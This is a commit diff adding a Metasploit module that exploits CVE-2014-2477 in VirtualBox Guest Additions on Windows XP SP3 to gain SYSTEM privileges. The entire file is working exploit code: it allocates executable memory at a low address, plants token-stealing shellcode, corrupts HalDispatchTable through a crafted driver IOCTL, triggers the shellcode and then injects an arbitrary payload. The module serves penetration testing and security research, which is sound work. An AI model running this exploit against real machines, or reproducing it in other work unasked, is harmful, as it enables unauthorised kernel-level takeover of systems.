Land rapid7#3534, @KoreLogicSecurity's exploit for CVE-2014-2477

Author: jvazquez-r7

modules/exploits/windows/local/virtual_box_guest_additions.rb

@@ -0,0 +1,215 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/exploit/local/windows_kernel'
+require 'rex'
+
+class Metasploit3 < Msf::Exploit::Local
+  Rank = AverageRanking
+
+  include Msf::Exploit::Local::WindowsKernel
+  include Msf::Post::File
+  include Msf::Post::Windows::FileInfo
+  include Msf::Post::Windows::Priv
+  include Msf::Post::Windows::Process
+
+  def initialize(info={})
+    super(update_info(info, {
+      'Name'          => 'VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation',
+      'Description'    => %q{
+        A vulnerability within the VBoxGuest driver allows an attacker to inject memory they
+        control into an arbitrary location they define. This can be used by an attacker to
+        overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling
+        NtQueryIntervalProfile on Windows XP SP3 systems. This has been tested with VBoxGuest
+        Additions up to 4.3.10r93012.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        =>
+        [
+          'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
+          'Jay Smith <jsmith[at]korelogic.com>' # MSF module
+        ],
+      'Arch'          => ARCH_X86,
+      'Platform'      => 'win',
+      'SessionTypes'  => [ 'meterpreter' ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'thread',
+        },
+      'Targets'       =>
+        [
+          ['Windows XP SP3',
+            {
+              'HaliQuerySystemInfo' => 0x16bba,
+              '_KPROCESS'  => "\x44",
+              '_TOKEN'     => "\xc8",
+              '_UPID'      => "\x84",
+              '_APLINKS'   => "\x88"
+            }
+          ]
+        ],
+      'References'    =>
+        [
+          ['CVE', '2014-2477'],
+          ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt']
+        ],
+      'DisclosureDate'=> 'Jul 15 2014',
+      'DefaultTarget' => 0
+    }))
+
+  end
+
+  def fill_memory(proc, address, length, content)
+
+    session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
+
+    if not proc.memory.writable?(address)
+      vprint_error("Failed to allocate memory")
+      return nil
+    else
+      vprint_good("#{address} is now writable")
+    end
+
+    result = proc.memory.write(address, content)
+
+    if result.nil?
+      vprint_error("Failed to write contents to memory")
+      return nil
+    else
+      vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
+    end
+
+    return address
+  end
+
+  def check
+    if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
+      return Exploit::CheckCode::Safe
+    end
+
+    handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
+    if handle.nil?
+      return Exploit::CheckCode::Safe
+    end
+    session.railgun.kernel32.CloseHandle(handle)
+
+    os = sysinfo["OS"]
+    unless (os =~ /windows xp.*service pack 3/i)
+      return Exploit::CheckCode::Safe
+    end
+
+    file_path = expand_path("%windir%") << "\\system32\\drivers\\vboxguest.sys"
+    unless file?(file_path)
+      return Exploit::CheckCode::Unknown
+    end
+
+    major, minor, build, revision, branch = file_version(file_path)
+    vprint_status("vboxguest.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
+
+    unless (major == 4)
+      return Exploit::CheckCode::Safe
+    end
+
+    case minor
+    when 0
+      return Exploit::CheckCode::Vulnerable if build < 26
+    when 1
+      return Exploit::CheckCode::Vulnerable if build < 34
+    when 2
+      return Exploit::CheckCode::Vulnerable if build < 26
+    when 3
+      return Exploit::CheckCode::Vulnerable if build < 12
+    end
+
+    return Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    if is_system?
+      fail_with(Exploit::Failure::None, 'Session is already elevated')
+    end
+
+    if sysinfo["Architecture"] =~ /wow64/i
+      fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
+    elsif sysinfo["Architecture"] =~ /x64/
+      fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
+    end
+
+    unless check == Exploit::CheckCode::Vulnerable
+      fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
+    end
+
+    handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
+    if handle.nil?
+      fail_with(Failure::NoTarget, "Unable to open \\\\.\\vboxguest device")
+    end
+
+    print_status("Disclosing the HalDispatchTable address...")
+    hal_dispatch_table = find_haldispatchtable
+    if hal_dispatch_table.nil?
+      session.railgun.kernel32.CloseHandle(handle)
+      fail_with(Failure::Unknown, "Filed to disclose HalDispatchTable")
+    else
+      print_good("Address successfully disclosed.")
+    end
+
+    print_status('Getting the hal.dll base address...')
+    hal_info = find_sys_base('hal.dll')
+    fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil?
+
+    hal_base = hal_info[0]
+    print_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
+    hali_query_system_information = hal_base + target['HaliQuerySystemInfo']
+
+    print_status("Storing the shellcode in memory...")
+    this_proc = session.sys.process.open
+
+    restore_ptrs =  "\x31\xc0"                                         # xor eax, eax
+    restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
+    restore_ptrs << "\xa3" + [hal_dispatch_table + 4].pack('V')        # mov dword ptr [nt!HalDispatchTable+0x4], eax
+
+    kernel_shell = token_stealing_shellcode(target)
+    kernel_shell_address = 0x1
+
+    buf = "\x90" * 0x6000
+    buf[0, 56] = "\x50\x00\x00\x00" * 14
+    buf[0x5000, kernel_shell.length] = restore_ptrs + kernel_shell
+
+    result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
+    if result.nil?
+      session.railgun.kernel32.CloseHandle(handle)
+      fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
+    else
+      print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
+    end
+
+    print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
+    session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a040, 0x1, 140, hal_dispatch_table + 0x4 - 40, 0)
+    session.railgun.kernel32.CloseHandle(handle)
+
+    print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
+    session.railgun.ntdll.NtQueryIntervalProfile(2, 4)
+
+    print_status("Checking privileges after exploitation...")
+
+    unless is_system?
+      fail_with(Failure::Unknown, "The exploitation wasn't successful")
+    else
+      print_good("Exploitation successful!")
+    end
+
+    p = payload.encoded
+    print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
+    if execute_shellcode(p)
+      print_good("Enjoy")
+    else
+      fail_with(Failure::Unknown, "Error while executing the payload")
+    end
+
+  end
+
+end
+